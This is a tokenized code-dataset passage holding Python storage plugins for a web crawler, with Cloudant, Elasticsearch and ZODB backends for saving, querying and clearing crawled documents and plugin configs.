"init\\u\\u_", "(_", "self_", ",_", "project", "\\u", "name_", ",_", "server_", ",_", "plugin", "\\u", "name_", ",_", "cache_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Crawl", "Cloud", "ant", "Plugin_", ",_", "self_", ")_", "._", "\\u\\u", "init\\u\\u_", "(_", "project", "\\u", "name_", ",_", "server_", ",_", "plugin", "\\u", "name_", ",_", "cache_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "dbs_", "=_", "{_", "x_", ":_", "self_", "._", "server_", "._", "database_", "(_", "self_", "._", "project", "\\u", "name_", "+_", "'-", "crawle", "r", "-'_", "+_", "x_", ")_", "for_", "x_", "in_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'", "plugin", "s", "'_", ",_", "'", "document", "s", "'_", ",_", "'", "template", "\\u", "dict", "'_", "]_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Crawl", "Cloud", "ant", "Plugin_", "(_", "Crawl", "Plugin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "default", "\\u", "plugin_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "dbs_", "[_", "'", "plugin", "s", "'_", "]_", "._", "get_", "(_", "'", "default", "'_", ")_", "._", "result_", "(_", ")_", "._", "json_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Crawl", "Cloud", "ant", "Plugin_", "(_", "Crawl", "Plugin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "specific", "\\u", "plugin_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "dbs_", "[_", "'", "plugin", "s", "'_", "]_", "._", "get_", "(_", "self_", "._", "plugin", "\\u", "name_", ")_", "._", "result_", "(_", ")_", "._", "json_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Crawl", "Cloud", "ant", "Plugin_", "(_", "Crawl", "Plugin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "save", "\\u", "bul", "k", "\\u", "data_", "(_", "self_", ",_", "data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "url", "\\u", "id_", "in_", "data_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "[_", "url", "\\u", "id_", "]_", "[_", "'\\u", "id", "'_", "]_", "=_", "slugify_", "(_", "url", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "save", " ", "bul", "k", " ", "per", " ", "max", " ", "10", "k", " ", "per", " ", "time_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "chunk_", "in_", "chunk", "er_", "(_", "data_", "._", "values_", "(_", ")_", ",_", "10000_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "chunk_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "dbs_", "[_", "'", "document", "s", "'_", "]_", "._", "bul", "k", "\\u", "docs_", "(_", "*_", "[_", "x_", "for_", "x_", "in_", "chunk_", "if_", "x_", "is_", "not_", "None_", "]_", ")_", "._", "result_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Crawl", "Cloud", "ant", "Plugin_", "(_", "Crawl", "Plugin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "documents_", "(_", "self_", ",_", "maxim", "um", "\\u", "number", "\\u", "of", "\\u", "documents_", "=_", "1000000_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "now", " ", "just", " ", "to", " ", "add", " ", "the", " ", "host", " ", "thing", " ", "??????", "??????", "??", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "query_", "=_", "'", "query", "={}'_", "._", "format_", "(_", "self_", "._", "plugin", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "params_", "=_", "'?", "include", "\\u", "docs", "=", "true", "&", "limit", "={}", "&", "{}'_", "._", "format_", "(_", "maxim", "um", "\\u", "number", "\\u", "of", "\\u", "documents_", ",_", "query_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "{_", "x_", "[_", "'", "doc", "'_", "]_", "[_", "'\\u", "id", "'_", "]_", ":_", "x_", "[_", "'", "doc", "'_", "]_", "for_", "x_", "in_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "dbs_", "[_", "'", "document", "s", "'_", "]_", "._", "all", "\\u", "docs_", "(_", ")_", "._", "get_", "(_", "params_", ")_", "._", "result_", "(_", ")_", "._", "json_", "(_", ")_", "[_", "'", "rows", "'_", "]_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "'", "url", "'_", "in_", "x_", "[_", "'", "doc", "'_", "]_", "and_", "self_", "._", "plugin", "\\u", "name_", "in_", "x_", "[_", "'", "doc", "'_", "]_", "[_", "'", "url", "'_", "]_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Crawl", "Cloud", "ant", "Plugin_", "(_", "Crawl", "Plugin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "delete", "\\u", "exist", "ing", "\\u", "documents_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "docs_", "=_", "self_", "._", "get", "\\u", "documents_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "x_", "in_", "docs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "docs_", "[_", "x_", "]_", "[_", "'\\u", "delete", "d", "'_", "]_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "dbs_", "[_", "'", "document", "s", "'_", "]_", "._", "bul", "k", "\\u", "docs_", "(_", "*_", "[_", "docs_", "[_", "x_", "]_", "for_", "x_", "in_", "docs_", "]_", ")_", "._", "result_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Crawl", "Cloud", "ant", "Plugin_", "(_", "Crawl", "Plugin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "see", "n", "\\u", "urls_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "params", " ", "=", " ", "'?", "query", "={}", "'.", "format", "(", "self", ".", "plugin", "\\u", "name", ")", " ", "#", " ", "werk", "t", " ", "nie", "t_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "params_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "udo", "cs_", "=_", "self_", "._", "dbs_", "[_", "'", "document", "s", "'_", "]_", "._", "design_", "(_", "'", "url", "view", "'_", ")_", "._", "view_", "(_", "'", "view", "1", "'_", ")_", "._", "get_", "(_", "params_", ")_", "._", "result_", "(_", ")_", "._", "json_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "rows", "'_", "in_", "udo", "cs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "set_", "(_", "[_", "udo", "c_", "[_", "'", "key", "'_", "]_", "for_", "udo", "c_", "in_", "udo", "cs_", "[_", "'", "rows", "'_", "]_", "if_", "self_", "._", "plugin", "\\u", "name_", "in_", "udo", "c_", "[_", "'", "key", "'_", "]_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "\"", "no", " ", "see", "n", " ", "urls", " ", "for", " ", "plugin", "\"_", ",_", "self_", "._", "plugin", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "set_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Crawl", "Cloud", "ant", "Plugin_", "(_", "Crawl", "Plugin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "save", "\\u", "config_", "(_", "self_", ",_", "config_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "doc_", "=_", "self_", "._", "dbs_", "[_", "'", "plugin", "s", "'_", "]_", "._", "get_", "(_", "self_", "._", "plugin", "\\u", "name_", ")_", "._", "result_", "(_", ")_", "._", "json_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "error", "'_", "not_", "in_", "doc_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "config_", "[_", "'\\u", "id", "'_", "]_", "=_", "doc_", "[_", "'\\u", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "config_", "[_", "'\\u", "rev", "'_", "]_", "=_", "doc_", "[_", "'\\u", "rev", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "dbs_", "[_", "'", "plugin", "s", "'_", "]_", "[_", "self_", "._", "plugin", "\\u", "name_", "]_", "=_", "config_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Crawl", "Elast", "ic", "Sear", "ch", "Plugin_", "(_", "Crawl", "Plugin_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Crawl", "Elast", "ic", "Sear", "ch", "Plugin_", "(_", "Crawl", "Plugin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "project", "\\u", "name_", ",_", "server_", ",_", "plugin", "\\u", "name_", ",_", "cache_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Crawl", "Elast", "ic", "Sear", "ch", "Plugin_", ",_", "self_", ")_", "._", "\\u\\u", "init\\u\\u_", "(_", "project", "\\u", "name_", ",_", "server_", ",_", "plugin", "\\u", "name_", ",_", "cache_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "es_", "=_", "server_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Crawl", "Elast", "ic", "Sear", "ch", "Plugin_", "(_", "Crawl", "Plugin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "default", "\\u", "plugin_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "es_", "._", "get_", "(_", "id_", "=_", "'", "default", "'_", ",_", "doc", "\\u", "type_", "=_", "'", "plugin", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "index_", "=_", "self_", "._", "project", "\\u", "name_", "+_", "\"-", "crawle", "r", "-", "plugin", "s", "\"_", ")_", "[_", "'\\u", "source", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Crawl", "Elast", "ic", "Sear", "ch", "Plugin_", "(_", "Crawl", "Plugin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "specific", "\\u", "plugin_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "es_", "._", "get_", "(_", "id_", "=_", "self_", "._", "plugin", "\\u", "name_", ",_", "doc", "\\u", "type_", "=_", "'", "plugin", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "index_", "=_", "self_", "._", "project", "\\u", "name_", "+_", "\"-", "crawle", "r", "-", "plugin", "s", "\"_", ")_", "[_", "'\\u", "source", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Crawl", "Elast", "ic", "Sear", "ch", "Plugin_", "(_", "Crawl", "Plugin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "save", "\\u", "bul", "k", "\\u", "data_", "(_", "self_", ",_", "data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "url", "\\u", "id_", "in_", "data_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "doc", "\\u", "id_", "=_", "slugify_", "(_", "url", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "es_", "._", "index_", "(_", "id_", "=_", "doc", "\\u", "id_", ",_", "body_", "=_", "data_", "[_", "url", "\\u", "id_", "]_", ",_", "doc", "\\u", "type_", "=_", "'", "document", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "index_", "=_", "self_", "._", "project", "\\u", "name_", "+_", "\"-", "crawle", "r", "-", "document", "s", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Crawl", "Elast", "ic", "Sear", "ch", "Plugin_", "(_", "Crawl", "Plugin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "documents_", "(_", "self_", ",_", "maxim", "um", "\\u", "number", "\\u", "of", "\\u", "documents_", "=_", "1000000_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "query_", "=_", "{_", "\"", "query", "\"_", ":_", "{_", "\"", "wild", "card", "\"_", ":_", "{_", "\"", "url", "\"_", ":_", "\"*", "{}", "*\"_", "._", "format_", "(_", "self_", "._", "plugin", "\\u", "name_", ")_", "}_", "}_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "res_", "=_", "self_", "._", "es_", "._", "search_", "(_", "body_", "=_", "query_", ",_", "doc", "\\u", "type_", "=_", "'", "document", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "index_", "=_", "self_", "._", "project", "\\u", "name_", "+_", "\"-", "crawle", "r", "-", "document", "s", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "res_", "[_", "'", "hits", "'_", "]_", "[_", "'", "hits", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Crawl", "Elast", "ic", "Sear", "ch", "Plugin_", "(_", "Crawl", "Plugin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "see", "n", "\\u", "urls_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "query_", "=_", "{_", "\"", "query", "\"_", ":_", "{_", "\"", "wild", "card", "\"_", ":_", "{_", "\"", "url", "\"_", ":_", "\"*", "{}", "*\"_", "._", "format_", "(_", "self_", "._", "plugin", "\\u", "name_", ")_", "}_", "}_", ",_", "\"", "fields", "\"_", ":_", "\"", "url", "\"_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "res_", "=_", "self_", "._", "es_", "._", "search_", "(_", "body_", "=_", "query_", ",_", "doc", "\\u", "type_", "=_", "'", "document", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "index_", "=_", "self_", "._", "project", "\\u", "name_", "+_", "\"-", "crawle", "r", "-", "document", "s", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "set_", "(_", "[_", "x_", "[_", "'", "fields", "'_", "]_", "[_", "'", "url", "'_", "]_", "[_", "0_", "]_", "for_", "x_", "in_", "res_", "[_", "'", "hits", "'_", "]_", "[_", "'", "hits", "'_", "]_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Crawl", "Elast", "ic", "Sear", "ch", "Plugin_", "(_", "Crawl", "Plugin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "save", "\\u", "config_", "(_", "self_", ",_", "config_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "es_", "._", "index_", "(_", "id_", "=_", "self_", "._", "plugin", "\\u", "name_", ",_", "body_", "=_", "config_", ",_", "doc", "\\u", "type_", "=_", "'", "plugin", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "index_", "=_", "self_", "._", "project", "\\u", "name_", "+_", "\"-", "crawle", "r", "-", "plugin", "s", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Crawl", "ZO", "DB", "Plugin_", "(_", "Crawl", "Plugin_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Crawl", "ZO", "DB", "Plugin_", "(_", "Crawl", "Plugin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "get", "\\u", "default", "\\u", "plugin_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "server_", "[_", "'", "plugin", "s", "'_", "]_", "[_", "'", "default", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Crawl", "ZO", "DB", "Plugin_", "(_", "Crawl", "Plugin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "specific", "\\u", "plugin_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "server_", "[_", "'", "plugin", "s", "'_", "]_", "[_", "self_", "._", "plugin", "\\u", "name_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Crawl", "ZO", "DB", "Plugin_", "(_", "Crawl", "Plugin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "save", "\\u", "bul", "k", "\\u", "data_", "(_", "self_", ",_", "data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "url", "\\u", "id_", "in_", "data_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "server_", "[_", "'", "document", "s", "'_", "]_", "[_", "slugify_", "(_", "url", "\\u", "id_", ")_", "]_", "=_", "data_", "[_", "url", "\\u", "id_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "transaction_", "._", "commit_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Crawl", "ZO", "DB", "Plugin_", "(_", "Crawl", "Plugin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "documents_", "(_", "self_", ",_", "maxim", "um", "\\u", "number", "\\u", "of", "\\u", "documents_", "=_", "1000000_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "server_", "[_", "'", "document", "s", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Crawl", "ZO", "DB", "Plugin_", "(_", "Crawl", "Plugin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "delete", "\\u", "exist", "ing", "\\u", "documents_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "server_", "[_", "'", "document", "s", "'_", "]_", "=_", "OO", "BT", "ree_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "transaction_", "._", "commit_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Crawl", "ZO", "DB", "Plugin_", "(_", "Crawl", "Plugin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "see", "n", "\\u", "urls_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "set_", "(_", "[_", "self_", "._", "server_", "[_", "'", "document", "s", "'_", "]_", "[_", "s_", "]_", "[_", "'", "url", "'_", "]_", "for_", "s_", "in_", "self_", "._", "server_", "[_", "'", "document", "s", "'_", "]_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "self_", "._", "plugin", "\\u", "name_", "in_", "self_", "._", "server_", "[_", "'", "document", "s", "'_", "]_", "[_", "s_", "]_", "[_", "'", "url", "'_", "]_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Crawl", "ZO", "DB", "Plugin_", "(_", "Crawl", "Plugin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "save", "\\u", "config_", "(_", "self_", ",_", "config_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "server_", "[_", "'", "plugin", "s", "'_", "]_", "[_", "self_", "._", "plugin", "\\u", "name_", "]_", "=_", "config_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "transaction_", "._", "commit_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Crawl", "Plug", "in", "News", "_", "(_", "Crawl", "Plugin_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "ast_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Crawl", "Plug", "in", "News", "_", "(_", "Crawl", "Plugin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "save", "\\u", "data_", "(_", "self_", ",_", "data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Not", "Impl", "ement", "ed", "Error_", "(_", "'", "save", "\\u", "data", " ", "require", "d", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Crawl", "Plug", "in", "News", "_", "(_", "Crawl", "Plugin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "template", "\\u", "dict_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Not", "Impl", "ement", "ed", "Error_", "(_", "'", "get", "\\u", "template", "\\u", "dict", " ", "require", "d", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Crawl", "Plug", "in", "News", "_", "(_", "Crawl", "Plugin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "save", "\\u", "template", "\\u", "dict_", "(_", "self_", ",_", "template", "d\\u", "dict_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Not", "Impl", "ement", "ed", "Error_", "(_", "'", "save", "\\u", "template", "\\u", "dict", " ", "require", "d", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Crawl", "Plug", "in", "News", "_", "(_", "Crawl", "Plugin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", 